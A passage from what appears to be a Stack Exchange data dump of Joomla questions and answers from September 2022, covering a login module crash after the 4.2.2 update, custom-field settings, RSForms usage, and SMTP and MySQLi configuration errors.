datetime   priority clientip   category    message&#xA;2022-09-08T23:50:26+00:00   INFO 98.220.192.240 joomlacanceled&lt;br /&gt;&#xA;2022-09-08T23:52:06+00:00   INFO 98.220.192.240 joomlafailure   Username and password do not match or you do not have an account yet.&#xA;2022-09-08T23:52:35+00:00   INFO 98.220.192.240 joomlafailure   Username and password do not match or you do not have an account yet.&#xA;2022-09-08T23:54:26+00:00   INFO 98.220.192.240 joomlafailure   Username and password do not match or you do not have an account yet.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;I think the issue is the TemplateToaster templates I am using:&lt;/p&gt;&#xA;&lt;p&gt;Diagnosis:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;All 6 of my sites have TemplateToaster templates. All have this issue.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I installed a 404 diag module on one site and threw many errors. I can forward them to you.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I did a clean Joomla 4.2.2 install.&lt;/p&gt;&#xA;&lt;p&gt;a. It works fine with the Cassiopia template.&lt;/p&gt;&#xA;&lt;p&gt;b. It crashes with one of the templates I created from scratch with TemplateToaster.&lt;/p&gt;&#xA;&lt;p&gt;c. It also crashes with one of the default Templates that come with TemplateToaster. U-finance&lt;/p&gt;&#xA;&lt;p&gt;d. I tried to use one of your downloadable free templates and it would not install. Error:  JInstaller: :Install: Can't find XML setup file. Unable to detect manifest file.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="16603" LastEditorUserId="12352" LastEditDate="2022-09-12T12:33:15.840" LastActivityDate="2024-02-08T02:04:30.493" Title="Login module crashes after 4.2.2 update" Tags="|module|login|update|joomla-4|front-end|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="32383" PostTypeId="1" CreationDate="2022-09-10T07:51:07.803" Score="1" ViewCount="77" Body="&lt;p&gt;In my component I have the fields and field groups showing in my dashboard (admin side) and working no problems at all but I wanted to have a config param to switch it on/off like the content component.&lt;br /&gt;&#xA;I have done this for the Workflow using exactly the same config element as com_content but the fields aspect doesn't get hidden when param set to no.&#xA;Any guidance on how to do this would be greatly appreciated.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;        &amp;lt;field&#xA;            name=&amp;quot;workflow_enabled&amp;quot;&#xA;            type=&amp;quot;radio&amp;quot;&#xA;            label=&amp;quot;JWORKFLOW_ENABLED_LABEL&amp;quot;&#xA;            class=&amp;quot;btn-group btn-group-yesno&amp;quot;&#xA;            default=&amp;quot;0&amp;quot; &amp;gt;&#xA;            &amp;lt;option value=&amp;quot;0&amp;quot;&amp;gt;JNO&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option value=&amp;quot;1&amp;quot;&amp;gt;JYES&amp;lt;/option&amp;gt;&#xA;        &amp;lt;/field&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The above works nicely for the Workflow.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;        &amp;lt;field&#xA;            name=&amp;quot;custom_fields_enable&amp;quot;&#xA;            type=&amp;quot;radio&amp;quot;&#xA;            label=&amp;quot;JGLOBAL_CUSTOM_FIELDS_ENABLE_LABEL&amp;quot;&#xA;            class=&amp;quot;btn-group btn-group-yesno&amp;quot;&#xA;            default=&amp;quot;0&amp;quot; &amp;gt;&#xA;            &amp;lt;option value=&amp;quot;0&amp;quot;&amp;gt;JNO&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option value=&amp;quot;1&amp;quot;&amp;gt;JYES&amp;lt;/option&amp;gt;&#xA;        &amp;lt;/field&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This one doesn't work and I can't find where the code is that switches this on/off?&lt;/p&gt;&#xA;&lt;p&gt;More Info:&lt;/p&gt;&#xA;&lt;p&gt;This is the code I have in my Dashboard preset:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;menuitem&#xA;        title=&amp;quot;COM_CONTENT_MENUS_WORKFLOW&amp;quot;&#xA;        type=&amp;quot;component&amp;quot;&#xA;        element=&amp;quot;com_workflow&amp;quot;&#xA;        link=&amp;quot;index.php?option=com_workflow&amp;amp;amp;view=workflows&amp;amp;amp;extension=com_mycomponent&amp;quot;&#xA;    /&amp;gt;&#xA;&#xA;    &amp;lt;menuitem&#xA;        title=&amp;quot;MOD_MENU_FIELDS&amp;quot;&#xA;        type=&amp;quot;component&amp;quot;&#xA;        element=&amp;quot;com_fields&amp;quot;&#xA;        link=&amp;quot;index.php?option=com_fields&amp;amp;amp;view=fields&amp;amp;amp;context=com_mycomponent&amp;quot;&#xA;    /&amp;gt;&#xA;&#xA;    &amp;lt;menuitem&#xA;        title=&amp;quot;MOD_MENU_FIELDS_GROUP&amp;quot;&#xA;        type=&amp;quot;component&amp;quot;&#xA;        element=&amp;quot;com_fields&amp;quot;&#xA;        link=&amp;quot;index.php?option=com_fields&amp;amp;amp;view=groups&amp;amp;amp;context=com_mycomponent&amp;quot;&#xA;    /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1985" LastEditorUserId="1985" LastEditDate="2022-09-11T07:48:03.840" LastActivityDate="2022-09-11T09:00:29.360" Title="Fields &amp; Field Groups in Dashboard" Tags="|joomla-4.x|com-fields|dashboard|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32384" PostTypeId="1" CreationDate="2022-09-10T11:39:45.397" Score="0" ViewCount="100" Body="&lt;p&gt;I am working on a website I volounteered to do for free (because it's for an organization I'm part of, and because it will make our lives easy).&lt;/p&gt;&#xA;&lt;p&gt;Our budget is &amp;quot;as low as possible&amp;quot;, ideally 0, therefore I'm looking for free solutions before paid ones. There's just a lot of extensions and I can't try them all, therefore I'm relying on your experiences with them.&lt;/p&gt;&#xA;&lt;p&gt;Of course, I need the basic &amp;quot;data from this form field gets saved in that column&amp;quot; functionality and the &amp;quot;this form field initially shows the data &lt;em&gt;from&lt;/em&gt; that column&amp;quot; that is needed to edit existing rows. I guess this is pretty standard.&lt;/p&gt;&#xA;&lt;p&gt;But then, I also need to do some more complex things that maybe are just me having to write the right JS and maybe it's something some extensions will do natively. I have no idea. I'll write down how the site works, partly as a memo for myself and partly so you can see if some functionality of this or that extension would help me more.&lt;/p&gt;&#xA;&lt;p&gt;The event I want to manage is a gaming convention. We decide a place and time and then we warn our mailing list about the event. Anyone who wants to bring a game has a couple weeks to fill the database with their games, which are most often made of two separate parts, a ruleset (which should be reusable by anyone else who wants to bring the same game) and a custom description.&lt;/p&gt;&#xA;&lt;p&gt;For instance the game might be &amp;quot;Cthulhu Death May Die&amp;quot; (a tabletop game) and the custom description might be a list of expansion packs used and additional rules, or it might be &amp;quot;D&amp;amp;D 4e - Fourthcore&amp;quot; (a roleplaying game) and an incipit for the Crucible of the Gods adventure to goad players in.&lt;/p&gt;&#xA;&lt;p&gt;I figure that the user who wants to propose a game will be asked to select a ruleset (or create one on a popup if their game is not there) and type in a brand new description. The rulesets can not be edited without the intervention of a site admin, the descriptions can be changed by the user that created them and only until the moment in time where we pass from populating the list of games to voting on them.&lt;/p&gt;&#xA;&lt;p&gt;(So, four tables, one for the rulesets, one for the actual games, one for the list of events and a single-row one for the status of the current event, like &amp;quot;game subscription open&amp;quot; or &amp;quot;voting open&amp;quot; or &amp;quot;vote closed&amp;quot;)&lt;/p&gt;&#xA;&lt;p&gt;Then all users who want to partecipate to the event will be able to give star ratings to each custom description (another table)&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Is there any free extension that allows to manage form filling and queries from an interface, rather than writing code?&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Does the extension provide sanitization? This is the most important thing to me because I don't know how to sanitize properly and it's my first time working with databases. I guess the alternative is learning how jForms works?&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Does the interface also have a back-end component to build the tables, or will I need to create them from the site's MySQLi interface?&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Will the interface be able to use the user IDs from Joomla!4's user database?&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="8451" LastActivityDate="2022-09-10T12:25:58.550" Title="Free Joomla extension that can read and write in a MySQLi database, with sanitization" Tags="|extensions|form|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32385" PostTypeId="2" ParentId="32384" CreationDate="2022-09-10T12:25:58.550" Score="1" Body="&lt;p&gt;Your requirements are asking a lot for a 'Free' component so I will suggest the extensions I would be looking at for doing this and leave it to you research whether they have free versions with enough functionality to do what you want.&lt;/p&gt;&#xA;&lt;p&gt;RS Forms is a very good Form builder that will allow you to do the validation, has conditional processing and importantly for your requirement the data received can be mapped to DB tables.  There are other extensions of similar capabilities but that is the one I am most familiar with. Good for putting data into tables and with some effort can get basic reading functionality working.&lt;/p&gt;&#xA;&lt;p&gt;Next step up would be application builders like Fabrik and Chronoforms that allow you to create some fairly involved form based applications within Joomla with reading and writing to tables and form validations etc.&lt;/p&gt;&#xA;&lt;p&gt;Next set up from there would be the extension/component builder/creator services that allow you to define the tables and views and other elements and then they generate an installable extension that you install on your website. Component Creator is one that played with a few years ago and there was another one that was also well advanced but I can't recall its name. One is an online service you build via their website while the other you install on a Joomla installation and build your extension from within Joomla.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2022-09-10T12:25:58.550" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32386" PostTypeId="2" ParentId="32383" CreationDate="2022-09-10T12:44:19.583" Score="1" Body="&lt;p&gt;Not quite sure which piece of this is going to apply to what you are asking but I found the following that might give you some ideas about how Workflow hides itself.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;administrator/components/com_content/tmpl/articles/default.php&lt;/strong&gt; line #59&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;if ($workflow_enabled) :&#xA;    $wa-&amp;gt;getRegistry()-&amp;gt;addExtensionRegistryFile('com_workflow');&#xA;    $wa-&amp;gt;useScript('com_workflow.admin-items-workflow-buttons')&#xA;    -&amp;gt;useScript('com_content.articles-status');&#xA;&#xA;    $workflow_state    = Factory::getApplication()-&amp;gt;bootComponent('com_content')-&amp;gt;isFunctionalityUsed('core.state', 'com_content.article');&#xA;    $workflow_featured = Factory::getApplication()-&amp;gt;bootComponent('com_content')-&amp;gt;isFunctionalityUsed('core.featured', 'com_content.article');&#xA;endif;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;administrator/components/com_content/src/Model/ArticlesModel.php&lt;/strong&gt; line #96&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function getFilterForm($data = array(), $loadData = true)&#xA;{&#xA;    $form = parent::getFilterForm($data, $loadData);&#xA;&#xA;    $params = ComponentHelper::getParams('com_content');&#xA;&#xA;    if (!$params-&amp;gt;get('workflow_enabled')) {&#xA;        $form-&amp;gt;removeField('stage', 'filter');&#xA;    } else {&#xA;        $ordering = $form-&amp;gt;getField('fullordering', 'list');&#xA;&#xA;        $ordering-&amp;gt;addOption('JSTAGE_ASC', ['value' =&amp;gt; 'ws.title ASC']);&#xA;        $ordering-&amp;gt;addOption('JSTAGE_DESC', ['value' =&amp;gt; 'ws.title DESC']);&#xA;    }&#xA;&#xA;    return $form;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;administrator/components/com_content/src/View/Featured/HtmlView.php&lt;/strong&gt; line #107&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;if (ComponentHelper::getParams('com_content')-&amp;gt;get('workflow_enabled')) {&#xA;    PluginHelper::importPlugin('workflow');&#xA;&#xA;    $this-&amp;gt;transitions = $this-&amp;gt;get('Transitions');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Update: 11th September&lt;/p&gt;&#xA;&lt;p&gt;Glen, the only two places I can find the &lt;code&gt;custom_fields_enable&lt;/code&gt; value is checked to see if it is set is in the Menu and  Sub Menu processing that toggles whether it is hidden(removed) or not from the left sidebar menu of the Admin pages.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;administrator/modules/mod_submenu/src/Menu/Menu.php&lt;/strong&gt; at line #139&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;        // Only display Fields menus when enabled in the component&#xA;        $createFields = null;&#xA;&#xA;        if (isset($query['context'])) {&#xA;            $createFields = ComponentHelper::getParams(strstr($query['context'], '.', true))-&amp;gt;get('custom_fields_enable', 1);&#xA;        }&#xA;&#xA;        if (!$createFields || !$user-&amp;gt;authorise('core.manage', 'com_users')) {&#xA;            $parent-&amp;gt;removeChild($item);&#xA;            continue;&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;administrator/modules/mod_menu/src/Menu/CssMenu.php&lt;/strong&gt; at line #339&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;        // Only display Fields menus when enabled in the component&#xA;        $createFields = null;&#xA;&#xA;        if (isset($query['context'])) {&#xA;            $createFields = ComponentHelper::getParams(strstr($query['context'], '.', true))-&amp;gt;get('custom_fields_enable', 1);&#xA;        }&#xA;&#xA;        if (!$createFields) {&#xA;            $parent-&amp;gt;removeChild($item);&#xA;            continue;&#xA;        }&#xA;&#xA;        list($assetName) = isset($query['context']) ? explode('.', $query['context'], 2) : array('com_fields');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Similar code for WorkFlow exists in same Classes however the Custom field checks &lt;code&gt;$query['context']&lt;/code&gt; the Workflow checks for &lt;code&gt;$query['extension']&lt;/code&gt;, maybe that gives you some clue to why they are working differently.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;administrator/modules/mod_menu/src/Menu/CssMenu.php&lt;/strong&gt; at line #366&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;        // Only display Workflow menus when enabled in the component&#xA;        $workflow = null;&#xA;&#xA;        if (isset($query['extension'])) {&#xA;            $parts = explode('.', $query['extension']);&#xA;&#xA;            $workflow = ComponentHelper::getParams($parts[0])-&amp;gt;get('workflow_enabled') &amp;amp;&amp;amp; $user-&amp;gt;authorise('core.manage.workflow', $parts[0]);&#xA;        }&#xA;&#xA;        if (!$workflow) {&#xA;            $parent-&amp;gt;removeChild($item);&#xA;            continue;&#xA;        }&#xA;&#xA;        list($assetName) = isset($query['extension']) ? explode('.', $query['extension'], 2) : array('com_workflow');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13306" LastEditorUserId="13306" LastEditDate="2022-09-11T09:00:29.360" LastActivityDate="2022-09-11T09:00:29.360" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="32387" PostTypeId="1" AcceptedAnswerId="32388" CreationDate="2022-09-11T01:47:42.797" Score="0" ViewCount="114" Body="&lt;p&gt;Using RSForms and Joomla - how can I capture the selected value of a drop down in the php code behind?&lt;/p&gt;&#xA;" OwnerUserId="8774" LastActivityDate="2022-09-11T09:25:17.583" Title="Capturing Value From RS Forms Drop Down" Tags="|joomla-4.x|rsform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32388" PostTypeId="2" ParentId="32387" CreationDate="2022-09-11T09:25:17.583" Score="2" Body="&lt;p&gt;You can access the value each field of your Form using the $_Post.&lt;/p&gt;&#xA;&lt;p&gt;For example where a_field is the field name in your form.&lt;/p&gt;&#xA;&lt;p&gt;$fred = $_POST['form']['a_field']&lt;/p&gt;&#xA;&lt;p&gt;There are more hits in the Form Properties Tab under the PHP Script menu item and plenty of examples on the RS Joomla Forum.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2022-09-11T09:25:17.583" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32390" PostTypeId="1" CreationDate="2022-09-11T17:28:15.200" Score="1" ViewCount="106" Body="&lt;p&gt;how can I pass this php variable to my JavaScript in RS Forms code behind?&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$doc = JFactory::getDocument();&#xA;$doc-&amp;gt;addStyleSheet(&amp;quot;https://maxcdn.bootstrapcdn.com/bootstrap/4.1.3/css/bootstrap.min.css&amp;quot;);&#xA;$doc-&amp;gt;addStyleSheet(&amp;quot;plugins/ajax/cevents/assets/main.css&amp;quot;);&#xA;$doc-&amp;gt;addScript(&amp;quot;plugins/ajax/cevents/assets/main.js&amp;quot;);&#xA;$doc-&amp;gt;addStyleSheet(&amp;quot;//code.jquery.com/ui/1.13.1/themes/base/jquery-ui.css&amp;quot;);&#xA;&#xA;$employee = $_POST['Time Off Request']['Employee_Name'];&#xA;&#xA;$js = &amp;quot;jQuery(document).ready(function(){&#xA;    jQuery('#print-btn').click(function(){&#xA;        let employee = = &amp;lt;?php echo $employee; ?&amp;gt;;&#xA;        console.log(employee);&#xA;    });&#xA;})&amp;quot;;&#xA;$doc-&amp;gt;addScriptDeclaration($js);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8774" LastActivityDate="2022-09-11T17:28:15.200" Title="Pass PHP Variable To JavaScript In RS Forms" Tags="|rsform|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="32391" PostTypeId="1" CreationDate="2022-09-12T11:31:24.573" Score="1" ViewCount="145" Body="&lt;p&gt;In Joomla4 i am creating a ajax.php file for getting json results&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;// Boot the DI container&#xA;$container = \Joomla\CMS\Factory::getContainer();&#xA;&#xA;$container-&amp;gt;alias('session.web', 'session.web.site')&#xA;    -&amp;gt;alias('session', 'session.web.site')&#xA;    -&amp;gt;alias('JSession', 'session.web.site')&#xA;    -&amp;gt;alias(\Joomla\CMS\Session\Session::class, 'session.web.site')&#xA;    -&amp;gt;alias(\Joomla\Session\Session::class, 'session.web.site')&#xA;    -&amp;gt;alias(\Joomla\CMS\Application\WebApplication::class, 'session.web.site')&#xA;    -&amp;gt;alias(\Joomla\CMS\Application\CMSApplication::class, 'session.web.site')&#xA;    -&amp;gt;alias(\Joomla\Session\SessionInterface::class, 'session.web.site');&#xA;&#xA;$app = $container-&amp;gt;get(\Joomla\CMS\Application\SiteApplication::class);&#xA;&#xA;\Joomla\CMS\Factory::$application = $app;&#xA;&#xA;dd($app);&#xA;&#xA;^ Joomla\CMS\Application\SiteApplication {#156 ▼&#xA;  #config: Joomla\Registry\Registry {#157 ▶}&#xA;  #logger: Joomla\CMS\Log\DelegatingPsrLogger {#173 ▶}&#xA;  -dispatcher: Joomla\Event\Dispatcher {#142 ▶}&#xA;  #input: Joomla\CMS\Input\Input {#158 ▶}&#xA;  +charSet: &amp;quot;utf-8&amp;quot;&#xA;  +mimeType: &amp;quot;text/html&amp;quot;&#xA;  +httpVersion: &amp;quot;1.1&amp;quot;&#xA;  +modifiedDate: null&#xA;  +client: Joomla\Application\Web\WebClient {#162 ▶}&#xA;  #response: Laminas\Diactoros\Response {#163 ▶}&#xA;  -cacheable: false&#xA;  -responseMap: array:61 [▶]&#xA;  #document: null&#xA;  #language: null&#xA;  #identity: null&#xA;  -userFactory: Joomla\CMS\User\UserFactory {#185 ▶}&#xA;  #docOptions: []&#xA;  +scope: null&#xA;  #clientId: 0&#xA;  #messageQueue: []&#xA;  #name: &amp;quot;site&amp;quot;&#xA;  #profiler: Joomla\CMS\Profiler\Profiler {#172 ▶}&#xA;  #template: null&#xA;  #pathway: null&#xA;  #authenticationPluginType: &amp;quot;authentication&amp;quot;&#xA;  -container: Joomla\DI\Container {#20 ▶}&#xA;  #session: Joomla\CMS\Session\Session {#184 ▶}&#xA;  #language_filter: false&#xA;  #detect_browser: false&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;how do i get the language interface class?&#xA;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="15814" LastActivityDate="2022-09-13T07:01:27.130" Title="Joomla 4 ajax php file in component, $application missing LanguageFactoryInterface::class" Tags="|joomla-4.x|ajax|language|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32392" PostTypeId="1" CreationDate="2022-09-12T15:15:22.443" Score="1" ViewCount="149" Body="&lt;p&gt;One Joomla instance is running in MAMP PHP 8.0 and MySql 5.7 succesfully.&#xA;When starting the same instance with a PHP Server from the &lt;code&gt;/joomla&lt;/code&gt; directory like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;php -S 127.0.0.1:8000 -t .&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I get the &lt;code&gt;The MySQLi extension is not available&lt;/code&gt; error. MAMP with MySql is still running.&lt;/p&gt;&#xA;&lt;p&gt;This already worked a few days before. The only thing that changed was the Joomla 4.2 update.&lt;/p&gt;&#xA;" OwnerUserId="15761" LastActivityDate="2022-09-12T15:15:22.443" Title="PHP Server: The MySQLi extension is not available" Tags="|configuration|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32394" PostTypeId="2" ParentId="32381" CreationDate="2022-09-14T07:21:51.887" Score="0" Body="&lt;p&gt;This is caused by one of many backwards compatibility breaks introduced in J! 4.2. Any template that has a layout override of Login module is now broken. The break will not be reverted so end users and template developers have to fix this themselves. The fix is to remove the code related to the no longer existing &lt;code&gt;$twofactormethods&lt;/code&gt; variable from the layout which is usually located in &lt;code&gt;templates/[your_template]/html/mod_login&lt;/code&gt; directory. In your case the code to remove is this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (count($twofactormethods) &amp;gt; 1) : ?&amp;gt;&#xA;&amp;lt;p id=&amp;quot;form-login-secretkey&amp;quot;&amp;gt;&#xA;&amp;lt;?php if (!$params-&amp;gt;get('usetext', 0)) : ?&amp;gt;&#xA;&amp;lt;label for=&amp;quot;modlgn-secretkey&amp;quot; class=&amp;quot;element-invisible&amp;quot;&amp;gt;&amp;lt;?php echo JText::_('JGLOBAL_SECRETKEY'); ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;&amp;lt;input id=&amp;quot;modlgn-secretkey&amp;quot;autocomplete=&amp;quot;off&amp;quot; type=&amp;quot;text&amp;quot;name=&amp;quot;secretkey&amp;quot; class=&amp;quot;boxcolor&amp;quot;tabindex=&amp;quot;0&amp;quot;size=&amp;quot;18&amp;quot;  /&amp;gt;&#xA;&amp;lt;?php else : ?&amp;gt;&#xA;&amp;lt;label for=&amp;quot;modlgn-secretkey&amp;quot;&amp;gt;&amp;lt;?php echo JText::_('JGLOBAL_SECRETKEY'); ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;&amp;lt;input id=&amp;quot;modlgn-secretkey&amp;quot;autocomplete=&amp;quot;off&amp;quot;type=&amp;quot;text&amp;quot;name=&amp;quot;secretkey&amp;quot;class=&amp;quot;boxcolor&amp;quot;tabindex=&amp;quot;0&amp;quot;size=&amp;quot;18&amp;quot;/&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastEditorUserId="12652" LastEditDate="2022-09-14T07:49:05.820" LastActivityDate="2022-09-14T07:49:05.820" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32396" PostTypeId="1" CreationDate="2022-09-14T19:32:23.367" Score="0" ViewCount="28" Body="&lt;p&gt;I have tested with the Exact same settings on both my local joomla website and the live one.&lt;/p&gt;&#xA;&lt;p&gt;rex-topia.com [Live]&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;SMTP Error: Could not connect to SMTP host.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Locally [localhost]&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Message&#xA;The email was sent to name@doman.com using SMTP. You should check that you've received the test email.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;With these settings. [From GoDaddy's mail service]&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;SMTP Host           :: smtpout.secureserver.net&#xA;SMTP Port           :: 465&#xA;SMTP Security       :: SSL/TLS&#xA;SMTP Authentication :: YES&#xA;&#xA;SMTP Username       :: name@domain.com&#xA;SMTP Password       :: **SECRET**&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Am I missing something?&lt;/p&gt;&#xA;" OwnerUserId="16521" LastActivityDate="2022-09-14T19:54:58.197" Title="SMTP Server settings error" Tags="|joomla-4.x|emails|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32397" PostTypeId="2" ParentId="32396" CreationDate="2022-09-14T19:54:58.197" Score="1" Body="&lt;p&gt;So I found a fix, I just used CPanels email smpt service.&lt;/p&gt;&#xA;" OwnerUserId="16521" LastActivityDate="2022-09-14T19:54:58.197" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32398" PostTypeId="2" ParentId="32381" CreationDate="2022-09-15T11:58:34.880" Score="0" Body="&lt;p&gt;I have tried to comment out using /* ... */ the codes you listed above, and could not fix the issue.&#xA;I have also commented out the whole block of two factor methods as follows,&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (count($twofactormethods) &amp;gt; 1) : ?&amp;gt;*/&#xA;            &amp;lt;div class=&amp;quot;mod-login__twofactor form-group&amp;quot;&amp;gt;&#xA;                &amp;lt;?php if (!$params-&amp;gt;get('usetext', 0)) : ?&amp;gt;&#xA;                    &amp;lt;div class=&amp;quot;input-group&amp;quot;&amp;gt;&#xA;                        &amp;lt;span class=&amp;quot;input-group-text&amp;quot;&amp;gt;&#xA;                            &amp;lt;span class=&amp;quot;icon-star&amp;quot; aria-hidden=&amp;quot;true&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&#xA;                        &amp;lt;/span&amp;gt;&#xA;                         &amp;lt;label for=&amp;quot;modlgn-secretkey-&amp;lt;?php echo $module-&amp;gt;id; ?&amp;gt;&amp;quot; class=&amp;quot;visually-hidden&amp;quot;&amp;gt;&amp;lt;?php echo Text::_('JGLOBAL_SECRETKEY'); ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;                         &amp;lt;input id=&amp;quot;modlgn-secretkey-&amp;lt;?php echo $module-&amp;gt;id; ?&amp;gt;&amp;quot; autocomplete=&amp;quot;one-time-code&amp;quot; type=&amp;quot;text&amp;quot; name=&amp;quot;secretkey&amp;quot; class=&amp;quot;form-control&amp;quot; placeholder=&amp;quot;&amp;lt;?php echo Text::_('JGLOBAL_SECRETKEY'); ?&amp;gt;&amp;quot;&amp;gt; &#xA;                        &amp;lt;span class=&amp;quot;input-group-text&amp;quot;&amp;gt;&#xA;                            &amp;lt;span class=&amp;quot;icon-question icon-fw&amp;quot; aria-hidden=&amp;quot;true&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&#xA;                        &amp;lt;/span&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;?php else : ?&amp;gt;&#xA;                     &amp;lt;label for=&amp;quot;modlgn-secretkey-&amp;lt;?php echo $module-&amp;gt;id; ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;?php echo Text::_('JGLOBAL_SECRETKEY'); ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;                    &amp;lt;div class=&amp;quot;input-group&amp;quot;&amp;gt;&#xA;                         &amp;lt;input id=&amp;quot;modlgn-secretkey-&amp;lt;?php echo $module-&amp;gt;id; ?&amp;gt;&amp;quot; autocomplete=&amp;quot;one-time-code&amp;quot; type=&amp;quot;text&amp;quot; name=&amp;quot;secretkey&amp;quot; class=&amp;quot;form-control&amp;quot; placeholder=&amp;quot;&amp;lt;?php echo Text::_('JGLOBAL_SECRETKEY'); ?&amp;gt;&amp;quot;&amp;gt; &#xA;                        &amp;lt;span class=&amp;quot;input-group-text&amp;quot;&amp;gt;&#xA;                            &amp;lt;span class=&amp;quot;icon-question icon-fw&amp;quot; aria-hidden=&amp;quot;true&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&#xA;                        &amp;lt;/span&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                 &amp;lt;?php endif; ?&amp;gt; &#xA;            &amp;lt;/div&amp;gt;&#xA;         &amp;lt;?php endif; ?&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I was still not able to recover.&#xA;The safest way I did was to reinstall 4.2.2 and using back the configuration.php, and everything starts to fall into place.&lt;/p&gt;&#xA;" OwnerUserId="16612" LastEditorUserId="12352" LastEditDate="2022-09-15T22:26:25.287" LastActivityDate="2022-09-15T22:26:25.287" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
